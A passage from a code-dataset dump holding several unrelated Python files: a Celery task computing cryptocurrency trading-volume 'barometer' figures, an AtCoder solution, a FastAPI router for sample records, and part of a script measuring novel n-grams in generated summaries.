'DAI', 'BTC', 'USDT', 'TUSD']\n newPairs = []\n for key in keys:\n market = dict(json.loads(r.get(key)))\n # print(market)\n quotePairs.append(market[\"quoteAsset\"])\n\n # print(market)\n # print(type(market))\n # if market[\"quote\"] == \"BRL\":\n # brl_markets.append(market)\n # if market[\"quote\"] == \"BKRW\":\n # bkrw_markets.append(market)\n # if market[\"quote\"] == \"AUD\":\n # aud_markets.append(market)\n # if market[\"quote\"] == \"DOGE\":\n # doge_markets.append(market)\n # if market[\"quote\"] == \"EUR\":\n # eur_markets.append(market)\n\n # if market[\"quote\"] == \"RUB\":\n # rub_markets.append(market)\n # if market[\"quote\"] == \"USDP\":\n # usdp_markets.append(market)\n # if market[\"quote\"] == \"GBP\":\n # gbp_markets.append(market)\n # if market[\"quote\"] == \"TRX\":\n # trx_markets.append(market)\n # if market[\"quote\"] == \"ZAR\":\n # zar_markets.append(market)\n # if market[\"quote\"] == \"BIDR\":\n # bidr_markets.append(market)\n # if market[\"quote\"] == \"USDS\":\n # usds_markets.append(market)\n # if market[\"quote\"] == \"TRY\":\n # try_markets.append(market)\n # if market[\"quote\"] == \"NGN\":\n # ngn_markets.append(market)\n # if market[\"quote\"] == \"XRP\":\n # xrp_markets.append(market)\n # if market[\"quote\"] == \"UAH\":\n # uah_markets.append(market)\n # if market[\"quote\"] == \"BVND\":\n # bvnd_markets.append(market)\n # if market[\"quote\"] == \"GYEN\":\n # gyen_markets.append(market)\n\n # if market[\"quote\"] == \"UST\":\n # ust_markets.append(market)\n # if market[\"quote\"] == \"PAX\":\n # pax_markets.append(market)\n # if market[\"quote\"] == \"IDRT\":\n # idrt_markets.append(market)\n # if market[\"quote\"] == \"DOT\":\n # dot_markets.append(market)\n # if market[\"quote\"] == \"VAI\":\n # vai_markets.append(market)\n # if market[\"quote\"] == \"DAI\":\n # dai_markets.append(market)\n if market[\"quoteAsset\"] == \"BTC\":\n btc_markets.append(market)\n if market[\"quoteAsset\"] == \"BNB\":\n bnb_markets.append(market)\n if market[\"quoteAsset\"] == \"ETH\":\n eth_markets.append(market)\n if market[\"quoteAsset\"] == \"USDT\":\n if market[\"baseAsset\"] == \"BTC\":\n fiat_btc_markets.append(market)\n elif market[\"baseAsset\"] == \"ETH\":\n fiat_eth_markets.append(market)\n elif market[\"baseAsset\"] == \"BNB\":\n fiat_bnb_markets.append(market)\n else:\n pass\n # usdt_markets.append(market)\n\n if market[\"quoteAsset\"] == \"TUSD\":\n if market[\"baseAsset\"] == \"BTC\":\n fiat_btc_markets.append(market)\n elif market[\"baseAsset\"] == \"ETH\":\n fiat_eth_markets.append(market)\n elif market[\"baseAsset\"] == \"BNB\":\n fiat_bnb_markets.append(market)\n else:\n pass\n # tusd_markets.append(market)\n\n if market[\"quoteAsset\"] == \"USDC\":\n if market[\"baseAsset\"] == \"BTC\":\n fiat_btc_markets.append(market)\n elif market[\"baseAsset\"] == \"ETH\":\n fiat_eth_markets.append(market)\n elif market[\"baseAsset\"] == \"BNB\":\n fiat_bnb_markets.append(market)\n else:\n pass\n # usdc_markets.append(market)\n\n if market[\"quoteAsset\"] == \"BUSD\":\n if market[\"baseAsset\"] == \"BTC\":\n fiat_btc_markets.append(market)\n elif market[\"baseAsset\"] == \"ETH\":\n fiat_eth_markets.append(market)\n elif market[\"baseAsset\"] == \"BNB\":\n fiat_bnb_markets.append(market)\n else:\n pass\n # busd_markets.append(market)\n\n quotePairsUnique = list(set(quotePairs))\n # print(quotePairsUnique)\n for pair in quotePairsUnique:\n if pair not in basePairs:\n # print(pair)\n newPairs.append(pair)\n # total_brl_alt_volume = 0.0\n # total_bkrw_alt_volume = 0.0\n # total_aud_alt_volume = 0.0\n # total_doge_alt_volume = 0.0\n # total_rub_alt_volume = 0.0\n # total_trx_alt_volume = 0.0\n # total_zar_alt_volume = 0.0\n # total_bidr_alt_volume = 0.0\n # total_try_alt_volume = 0.0\n # total_ngn_alt_volume = 0.0\n # total_xrp_alt_volume = 0.0\n # total_bvnd_alt_volume = 0.0\n # total_gyen_alt_volume = 0.0\n # total_idrt_alt_volume = 0.0\n # total_dot_alt_volume = 0.0\n # total_vai_alt_volume = 0.0\n # total_dai_alt_volume = 0.0\n # total_pax_alt_volume = 0.0\n # total_usds_alt_volume = 0.0\n # total_uah_alt_volume = 0.0\n # total_ust_alt_volume = 0.0\n # total_eur_alt_volume = 0.0\n # total_busd_alt_volume = 0.0\n # total_usdc_alt_volume = 0.0\n # total_usdp_alt_volume = 0.0\n # total_gbp_alt_volume = 0.0\n # total_usdt_alt_volume = 0.0\n # total_tusd_alt_volume = 0.0\n\n total_btc_alt_volume = 0.0\n total_eth_alt_volume = 0.0\n total_bnb_alt_volume = 0.0\n total_btc_fiat_volume = 0.0\n total_eth_fiat_volume = 0.0\n total_bnb_fiat_volume = 0.0\n\n # for market in brl_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_brl_alt_volume += float(ticker[\"q\"])\n # for market in bkrw_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_bkrw_alt_volume += float(ticker[\"q\"])\n # for market in aud_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_aud_alt_volume += float(ticker[\"q\"])\n # for market in doge_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_doge_alt_volume += float(ticker[\"q\"])\n # for market in eur_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_eur_alt_volume += float(ticker[\"q\"])\n\n # for market in busd_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_busd_alt_volume += float(ticker[\"q\"])\n # for market in usdc_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_usdc_alt_volume += float(ticker[\"q\"])\n # for market in rub_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_rub_alt_volume += float(ticker[\"q\"])\n # for market in usdp_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_usdp_alt_volume += float(ticker[\"q\"])\n # for market in gbp_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_gbp_alt_volume += float(ticker[\"q\"])\n # for market in trx_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_trx_alt_volume += float(ticker[\"q\"])\n # for market in zar_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_zar_alt_volume += float(ticker[\"q\"])\n # for market in bidr_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_bidr_alt_volume += float(ticker[\"q\"])\n # for market in usds_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_usds_alt_volume += float(ticker[\"q\"])\n # for market in try_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_try_alt_volume += float(ticker[\"q\"])\n # for market in ngn_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_ngn_alt_volume += float(ticker[\"q\"])\n # for market in xrp_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_xrp_alt_volume += float(ticker[\"q\"])\n # for market in uah_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_uah_alt_volume += float(ticker[\"q\"])\n # for market in bvnd_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_bvnd_alt_volume += float(ticker[\"q\"])\n # for market in gyen_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_gyen_alt_volume += float(ticker[\"q\"])\n\n # for market in ust_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_ust_alt_volume += float(ticker[\"q\"])\n # for market in pax_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_pax_alt_volume += float(ticker[\"q\"])\n # for market in idrt_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_idrt_alt_volume += float(ticker[\"q\"])\n # for market in dot_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_dot_alt_volume += float(ticker[\"q\"])\n # for market in vai_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_vai_alt_volume += float(ticker[\"q\"])\n # for market in dai_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_dai_alt_volume += float(ticker[\"q\"])\n\n # for market in usdt_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_usdt_alt_volume += float(ticker[\"q\"])\n # for market in tusd_markets:\n # ticker = r.get(market[\"id\"])\n # if ticker is not None:\n # ticker = dict(json.loads(ticker))\n # total_tusd_alt_volume += float(ticker[\"q\"])\n####\n for market in btc_markets:\n ticker = r.get(market[\"symbol\"])\n if ticker is not None:\n ticker = dict(json.loads(ticker))\n total_btc_alt_volume += float(ticker[\"q\"]) # volume = BTC\n\n for market in eth_markets:\n ticker = r.get(market[\"symbol\"])\n if ticker is not None:\n ticker = dict(json.loads(ticker))\n total_eth_alt_volume += float(ticker[\"q\"]) # voluem = ETH\n\n for market in bnb_markets:\n ticker = r.get(market[\"symbol\"])\n if ticker is not None:\n ticker = dict(json.loads(ticker))\n total_bnb_alt_volume += float(ticker[\"q\"]) # volume = BNB\n\n for market in fiat_btc_markets:\n ticker = r.get(market[\"symbol\"])\n if ticker is not None:\n ticker = dict(json.loads(ticker))\n total_btc_fiat_volume += float(ticker[\"q\"]) # volume = USD\n\n for market in fiat_eth_markets:\n ticker = r.get(market[\"symbol\"])\n if ticker is not None:\n ticker = dict(json.loads(ticker))\n total_eth_fiat_volume += float(ticker[\"q\"]) # volume = USD\n\n for market in fiat_bnb_markets:\n ticker = r.get(market[\"symbol\"])\n if ticker is not None:\n ticker = dict(json.loads(ticker))\n total_bnb_fiat_volume += float(ticker[\"q\"]) # volume = USD\n\n # total_brl_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"BRL\") * total_brl_alt_volume, 2)\n # total_bkrw_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"BKRW\") * total_bkrw_alt_volume, 2)\n # total_aud_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"AUD\") * total_aud_alt_volume, 2)\n # total_doge_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"DOGE\") * total_doge_alt_volume, 2)\n # total_rub_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"RUB\") * total_rub_alt_volume, 2)\n # total_trx_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"TRX\") * total_trx_alt_volume, 2)\n # total_zar_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"ZAR\") * total_zar_alt_volume, 2)\n # total_bidr_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"BIDR\") * total_bidr_alt_volume, 2)\n # total_try_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"TRY\") * total_try_alt_volume, 2)\n # total_ngn_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"NGN\") * total_ngn_alt_volume, 2)\n # total_xrp_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"XRP\") * total_xrp_alt_volume, 2)\n # total_bvnd_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"BVND\") * total_bvnd_alt_volume, 2)\n # total_gyen_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"GYEN\") * total_gyen_alt_volume, 2)\n # total_idrt_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"IDRT\") * total_idrt_alt_volume, 2)\n # total_dot_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"DOT\") * total_dot_alt_volume, 2)\n # total_vai_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"VAI\") * total_vai_alt_volume, 2)\n # total_dai_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"DAI\") * total_dai_alt_volume, 2)\n # total_pax_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"PAX\") * total_pax_alt_volume, 2)\n # total_usds_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"USDS\") * total_usds_alt_volume, 2)\n # total_uah_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"UAH\") * total_uah_alt_volume, 2)\n # total_ust_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"UST\") * total_ust_alt_volume, 2)\n # total_eur_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"EUR\") * total_eur_alt_volume, 2)\n # total_busd_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"BUSD\") * total_busd_alt_volume, 2)\n # total_usdc_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"USDC\") * total_usdc_alt_volume, 2)\n # total_usdp_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"USDP\") * total_usdp_alt_volume, 2)\n # total_gbp_alt_volume_usdt = round(\n # calculate_dollar_price(coin=\"GBP\") * total_gbp_alt_volume, 2)\n\n total_btc_alt_volume_usdt = round(\n calculate_dollar_price(coin=\"BTC\") * total_btc_alt_volume, 2\n )\n total_bnb_alt_volume_usdt = round(\n calculate_dollar_price(coin=\"ETH\") * total_eth_alt_volume, 2\n )\n total_eth_alt_volume_usdt = round(\n calculate_dollar_price(coin=\"BNB\") * total_bnb_alt_volume, 2\n )\n # print(functions.create_execution('calculate_dollar_price','BTC'))\n # print(float(functions.create_execution('calculate_dollar_price','BTC')['response']))\n # print(type(functions.create_execution('calculate_dollar_price','BTC')['response']))\n # total_btc_alt_volume_usdt= round(float(functions.create_execution('calculate_dollar_price','BTC')['response']) * total_btc_alt_volume, 2)\n # total_bnb_alt_volume_usdt= round(float(functions.create_execution('calculate_dollar_price','ETH')['response']) * total_eth_alt_volume, 2)\n # total_eth_alt_volume_usdt= round(float(functions.create_execution('calculate_dollar_price','BNB')['response']) * total_bnb_alt_volume, 2)\n\n total_volume = (\n total_btc_alt_volume_usdt\n + total_eth_alt_volume_usdt\n + total_bnb_alt_volume_usdt\n + total_btc_fiat_volume\n + total_eth_fiat_volume\n + total_bnb_fiat_volume\n # + total_brl_alt_volume_usdt\n # + total_bkrw_alt_volume_usdt\n # + total_aud_alt_volume_usdt\n # + total_doge_alt_volume_usdt\n # + total_rub_alt_volume_usdt/\n # + total_trx_alt_volume_usdt\n # + total_zar_alt_volume_usdt\n # + total_bidr_alt_volume_usdt\n # + total_try_alt_volume_usdt\n # + total_ngn_alt_volume_usdt\n # + total_xrp_alt_volume_usdt\n # + total_bvnd_alt_volume_usdt\n # + total_gyen_alt_volume_usdt\n # + total_idrt_alt_volume_usdt\n # + total_dot_alt_volume_usdt\n # + total_vai_alt_volume_usdt\n # + total_dai_alt_volume_usdt\n # + total_pax_alt_volume_usdt\n # + total_usds_alt_volume_usdt\n # + total_uah_alt_volume_usdt\n # + total_ust_alt_volume_usdt\n # + total_eur_alt_volume_usdt\n # + total_busd_alt_volume_usdt\n # + total_usdc_alt_volume_usdt\n # + total_usdp_alt_volume_usdt\n # + total_gbp_alt_volume_usdt\n )\n\n try:\n btc_strength = round(\n (total_btc_fiat_volume * 100)\n / total_volume,\n 4,\n )\n except TypeError:\n btc_strength = 0\n except ZeroDivisionError:\n btc_strength = 0\n\n try:\n eth_strength = round(\n (total_eth_fiat_volume * 100)\n / total_volume,\n 4,\n )\n except TypeError:\n eth_strength = 0\n except ZeroDivisionError:\n eth_strength = 0\n\n try:\n bnb_strength = round(\n (total_bnb_fiat_volume * 100)\n / total_volume,\n 4,\n )\n except TypeError:\n bnb_strength = 0\n except ZeroDivisionError:\n bnb_strength = 0\n\n try:\n btc_alt_strength = round(\n (total_btc_alt_volume_usdt * 100)\n / total_volume,\n 4,\n )\n except TypeError:\n btc_alt_strength = 0\n except ZeroDivisionError:\n btc_alt_strength = 0\n\n try:\n eth_alt_strength = round(\n (total_eth_alt_volume_usdt * 100)\n / total_volume,\n 4,\n )\n except TypeError:\n eth_alt_strength = 0\n except ZeroDivisionError:\n eth_alt_strength = 0\n\n try:\n bnb_alt_strength = round(\n (total_bnb_alt_volume_usdt * 100)\n / total_volume,\n 4,\n )\n except TypeError:\n bnb_alt_strength = 0\n except ZeroDivisionError:\n bnb_alt_strength = 0\n\n# # data = [\n# # dateNow,\n# # total_btc_fiat_volume,\n# # total_eth_fiat_volume,\n# # total_bnb_fiat_volume,\n# # total_btc_alt_volume_usdt,\n# # total_eth_alt_volume_usdt,\n# # total_bnb_alt_volume_usdt,\n# # total_volume,\n# # btc_strength,\n# # eth_strength,\n# # bnb_strength,\n# # ]\n# data = {\n\n# \"fiatBtcVolume\": total_btc_fiat_volume,\n# \"fiatEthVolume\": total_eth_fiat_volume,\n# \"fiatBnbVolume\": total_bnb_fiat_volume,\n# \"btcAltVolume\": total_btc_alt_volume_usdt,\n# \"ethAltVolume\": total_eth_alt_volume_usdt,\n# \"bnbAltVolume\": total_bnb_alt_volume_usdt,\n# \"totalVolume\": total_volume,\n# \"altBtcStrength\": btc_strength,\n# \"altEthStrength\": eth_strength,\n# \"altBnbStrength\": bnb_strength,\n# }\n data = {\n # \"date\": datetime.datetime.now().strftime(\"%s\"),\n \"fiatBtcVolume\": (total_btc_fiat_volume / 1000000),\n \"fiatEthVolume\": (total_eth_fiat_volume / 1000000),\n \"fiatBnbVolume\": (total_bnb_fiat_volume / 1000000),\n \"btcAltVolume\": (total_btc_alt_volume_usdt / 1000000),\n \"ethAltVolume\": (total_eth_alt_volume_usdt / 1000000),\n \"bnbAltVolume\": (total_bnb_alt_volume_usdt / 1000000),\n \"totalVolume\": (total_volume / 1000000),\n \"btcStrength\": btc_strength,\n \"ethStrength\": eth_strength,\n \"bnbStrength\": bnb_strength,\n \"altBtcStrength\": btc_alt_strength,\n \"altEthStrength\": eth_alt_strength,\n \"altBnbStrength\": bnb_alt_strength,\n # \"total_brl_alt_volume_usdt\": (total_brl_alt_volume_usdt / 1000000),\n # \"total_bkrw_alt_volume_usdt\": (total_bkrw_alt_volume_usdt / 1000000),\n # \"total_aud_alt_volume_usdt\": (total_aud_alt_volume_usdt / 1000000),\n # \"total_doge_alt_volume_usdt\": (total_doge_alt_volume_usdt / 1000000),\n # \"total_rub_alt_volume_usdt\": (total_rub_alt_volume_usdt / 1000000),\n # \"total_trx_alt_volume_usdt\": (total_trx_alt_volume_usdt / 1000000),\n # \"total_zar_alt_volume_usdt\": (total_zar_alt_volume_usdt / 1000000),\n # \"total_bidr_alt_volume_usdt\": (total_bidr_alt_volume_usdt / 1000000),\n # \"total_try_alt_volume_usdt\": (total_try_alt_volume_usdt / 1000000),\n # \"total_ngn_alt_volume_usdt\": (total_ngn_alt_volume_usdt / 1000000),\n # \"total_xrp_alt_volume_usdt\": (total_xrp_alt_volume_usdt / 1000000),\n # \"total_bvnd_alt_volume_usdt\": (total_bvnd_alt_volume_usdt / 1000000),\n # \"total_gyen_alt_volume_usdt\": (total_gyen_alt_volume_usdt / 1000000),\n # \"total_idrt_alt_volume_usdt\": (total_idrt_alt_volume_usdt / 1000000),\n # \"total_dot_alt_volume_usdt\": (total_dot_alt_volume_usdt / 1000000),\n # \"total_vai_alt_volume_usdt\": (total_vai_alt_volume_usdt / 1000000),\n # \"total_dai_alt_volume_usdt\": (total_dai_alt_volume_usdt / 1000000),\n # \"total_pax_alt_volume_usdt\": (total_pax_alt_volume_usdt / 1000000),\n # \"total_usds_alt_volume_usdt\": (total_usds_alt_volume_usdt / 1000000),\n # \"total_uah_alt_volume_usdt\": (total_uah_alt_volume_usdt / 1000000),\n # \"total_ust_alt_volume_usdt\": (total_ust_alt_volume_usdt / 1000000),\n # \"total_eur_alt_volume_usdt\": (total_eur_alt_volume_usdt / 1000000),\n # \"total_busd_alt_volume_usdt\": (total_busd_alt_volume_usdt / 1000000),\n # \"total_usdc_alt_volume_usdt\": (total_usdc_alt_volume_usdt / 1000000),\n # \"total_usdp_alt_volume_usdt\": (total_usdp_alt_volume_usdt / 1000000),\n # \"total_gbp_alt_volume_usdt\": (total_gbp_alt_volume_usdt / 1000000),\n }\n \n # print(data)\n \n# # connect(host=MONGO_URL)\n# data1 = {\n# \"date\": datetime.datetime.now().strftime(\"%m/%d/%Y, %H:%M\"),\n# \"fiatBtcVolume\": (total_btc_fiat_volume / 1000000),\n# \"fiatEthVolume\": (total_eth_fiat_volume / 1000000),\n# \"fiatBnbVolume\": (total_bnb_fiat_volume / 1000000),\n# \"btcAltVolume\": (total_btc_alt_volume_usdt / 1000000),\n# \"ethAltVolume\": (total_eth_alt_volume_usdt / 1000000),\n# \"bnbAltVolume\": (total_bnb_alt_volume_usdt / 1000000),\n# \"totalVolume\": (total_volume / 1000000),\n# \"altBtcStrength\": btc_strength,\n# \"altEthStrength\": eth_strength,\n# \"altBnbStrength\": bnb_strength,\n# }\n token = get_fastapi_token()\n print(token)\n print(type(token))\n if not token:\n return \"no JWT\"\n headers = {\n \"Authorization\": token['token_type'] + \" \" + token['access_token'],\n \"Content-Type\": \"application/json\",\n \"accept\": \"application/json\"\n }\n# # requests.post(\"http://nextjs:3000/api/baro/newBaro\", data=data)\n# # requests.post(\"http://10.20.12.164:8000/api/v1/baro/\",\n# # json=data1, headers=headers)\n\n# # print(data1Test)\n requests.post(os.environ.get('API') + \"v2/baro/\",\n json=data, headers=headers)\n # result = databases.create_document(\n # collection_id=os.environ.get('APPWRITE_BAROMETERID'),\n # database_id=os.environ.get('APPWRITE_DATABASEID'),\n # document_id=\"unique()\",\n # data=data\n # )\n return\n# # insertBaroData(baroData=data)\n# # baroTable = Baro(date=dateNow,\n# # fiatBtcVolume=total_btc_fiat_volume,\n# # fiatEthVolume=total_eth_fiat_volume,\n# # fiatBnbVolume=total_bnb_fiat_volume,\n# # btcAltVolume=total_btc_alt_volume_usdt,\n# # ethAltVolume=total_eth_alt_volume_usdt,\n# # bnbAltVolume=total_bnb_alt_volume_usdt,\n# # totalVolume=total_volume,\n# # altBtcStrength=btc_strength,\n# # altEthStrength=eth_strength,\n# # altBnbStrength=bnb_strength)\n# # baroTable.save()\n# # disconnect()\n\n\n\n@app.task\ndef calculate_dollar_price(coin):\n '''calculate dollar price'''\n try:\n price = dict(json.loads(r.get(coin + \"USDT\")))\n # print(price)\n price = float(price[\"c\"])\n except TypeError:\n noValueCoins = [\"BCX\", \"JEX\", \"QI\"]\n if coin not in noValueCoins:\n price = get_database_price_for_pair(coin + \"USDT\")\n if price == 0:\n price = get_database_price_for_pair(\"USDT\" + coin)\n # print(price)\n if price == 0:\n return 0\n # print(price)\n else:\n price = 0\n return price\n\n\n\n@app.task\ndef calculate_bitcoin_brice(coin):\n '''calculate bitcoin price'''\n try:\n # print(coin)\n price = dict(json.loads(r.get(coin + \"BTC\")))\n # print(price)\n price = float(price[\"c\"])\n except TypeError:\n if coin == \"BTC\":\n price = 1\n else:\n noValueCoins = [\"BCX\", \"JEX\", \"QI\", \"SBTC\"]\n if coin not in noValueCoins:\n price = get_database_price_for_pair(coin + \"BTC\")\n\n else:\n price = 0\n return price\n\n\n@app.task\ndef get_database_price_for_pair(pair):\n '''get database price for pair'''\n # print(pair)\n try:\n # connect(host=MONGO_URL)\n token = get_fastapi_token()\n # print(token)\n if not token:\n return 0\n headers = {\n \"Authorization\": token['token_type'] + \" \" + token['access_token'],\n \"Content-Type\": \"application/json\",\n \"accept\": \"application/json\"\n }\n obj = requests.get(os.environ.get('API') + \"v2/ticker/\" + pair, headers=headers)\n # obj = Tickers.objects.filter(market=pair).last()\n # obj = filterTickers(market=pair)\n\n if not obj:\n\n return 0\n # print(obj)\n # print(obj.json())\n # disconnect()\n data = obj.json()\n # print(data)\n # print(type(data))\n price = data['close']\n # print(price)\n return price\n except AttributeError:\n # print(\"Att error\")\n price = 0\n except IndexError:\n # print(\"Index error\")\n price = 0\n # return price\n","repo_name":"getKendy/kendy-celery","sub_path":"src/barometer_tasks.py","file_name":"barometer_tasks.py","file_ext":"py","file_size_in_byte":29584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1243300810","text":"import sys\r\nimport functools\r\n\r\nsys.setrecursionlimit(1 << 20)\r\n\r\n\r\ndef main() -> None:\r\n x = int(input())\r\n MOD = 998_244_353\r\n\r\n @functools.lru_cache(maxsize=None)\r\n def dfs(x: int) -> int:\r\n if x <= 4:\r\n return x\r\n return dfs(x // 2) * dfs((x + 1) // 2) % MOD\r\n\r\n print(dfs(x))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/arc135/arc135_a/31074453.py","file_name":"31074453.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"25891318797","text":"from fastapi import APIRouter, Body, HTTPException, status, Depends\nfrom sqlmodel import select\nfrom model.sample import Sample\nfrom config.db import get_session\nfrom typing import List\nfrom auth.authenticate import authenticate\n\nsample_router = APIRouter(\n tags=[\"Samples\"]\n)\n\nsamples = []\n\n\n@sample_router.get(\"/\", response_model=List[Sample])\nasync def retrieve_all_samples(session=Depends(get_session)) -> List[Sample]:\n statement = select(Sample)\n result = await session.execute(statement)\n sample_list = result.scalars().all()\n\n return sample_list\n\n\n@sample_router.get(\"/{id_sample}\", response_model=Sample)\nasync def retrieve_sample(id_sample: int, session=Depends(get_session)) -> Sample:\n sample = await session.get(Sample, id_sample)\n if not sample:\n raise HTTPException(\n status_code=status. HTTP_404_NOT_FOUND,\n detail=\"Sample with supplied ID does not exist\"\n )\n return sample\n\n\n@ sample_router.post(\"/\")\nasync def create_sample(body: Sample = Body(...)) -> dict:\n samples.append(body)\n return {\n \"message\": \" Sample created successfully\"\n }\n\n\n@sample_router.delete(\"/{id_sample}\")\nasync def delete_sample(id_sample: int) -> dict:\n for sample in samples:\n if sample.id_sample == id_sample:\n samples.remove(sample)\n return {\n \"message\": \" Sample deleted successfully\"\n }\n\n raise HTTPException(\n status_code=status. HTTP_404_NOT_FOUND,\n detail=\" Sample with supplied ID does not exist\"\n )\n\n\n@sample_router.delete(\"/\")\nasync def delete_all_samples() -> dict:\n samples.clear()\n return {\n \"message\": \" Samples deleted successfully\"\n }\n","repo_name":"siyang12knou/TFDB_Web","sub_path":"router/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31025633025","text":"import re\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom nltk.tokenize import sent_tokenize\nimport nltk\nnltk.download('punkt')\nimport os\nimport json\nimport string\nfrom nltk import ngrams\nimport argparse\n\n\ndef pct_novel_ngrams_in_y(x,y,nmax):\n\n # remove punctuation and lowercase\n x = x.translate(str.maketrans('', '', string.punctuation)).lower()\n y = y.translate(str.maketrans('', '', string.punctuation)).lower()\n\n percs = dict()\n for n in range(1,nmax+1):\n ngrams_x = set(ngrams(x.split(),n))\n ngrams_y = set(ngrams(y.split(),n))\n if len(ngrams_y) == 0:\n percs[n] = 'NA'\n else:\n percs[n] = round(100*len(ngrams_y.difference(ngrams_x))/len(ngrams_y),1)\n\n return percs\n\n# = = = = =\nparser = argparse.ArgumentParser()\nparser.add_argument('--path_predictions', '-pred', default=None, type=str, help='Path to predictions\\' file')\nparser.add_argument('--path_article', '-art', default=None, type=str, help='Path to artile')\n#parser.add_argument('--dataset_type','-dt', default=None, type=str, help='The type of GreekSum dataset. Accepted values are: Abstract or Title')\n\nnmax = 4 # greatest n-gram order to consider\nmin_size = 20\n\nargs = parser.parse_args()\n\n#path_pred = './title/generated_output.txt'\n#path_ref = './title/summarization_data_title/test-article.txt'\npath_pred = args.path_predictions\npath_art = args.path_article\n\n\nlens = []\n\nresults = dict()\ncounter = 0\n\nwith open(path_pred, 'r') as fr1, open(path_art, 'r') as fr2:\n for line1, line2 in zip(fr1, fr2):\n article = line2.strip()\n head = line1.strip()\n lens.append(len(head.split()))\n if len(article.split()) > min_size:\n\n to_save = dict()\n # whenever the field is too short to have at least one nmax-gram, NA is returned\n to_save['pred'] = pct_novel_ngrams_in_y(article,head,nmax)\n\n results[counter]=to_save\n counter+=1\n\nprint('= = = size (in nb of words) of predictions = = =')\nprint('min: %s, max: %s, average: %s, median: %s' % (min(lens),max(lens),round(np.mean(lens),2),np.median(lens)))\n\n\nprint('= = = = percentage of novel ngrams in: predictions = = = =')\nfor n in range(1,nmax + 1):\n print('* * * * order:',n,'* * * *')\n print(round(np.mean([v['pred'][int(n)] for k,v in results.items() if not v['pred'][int(n)] == 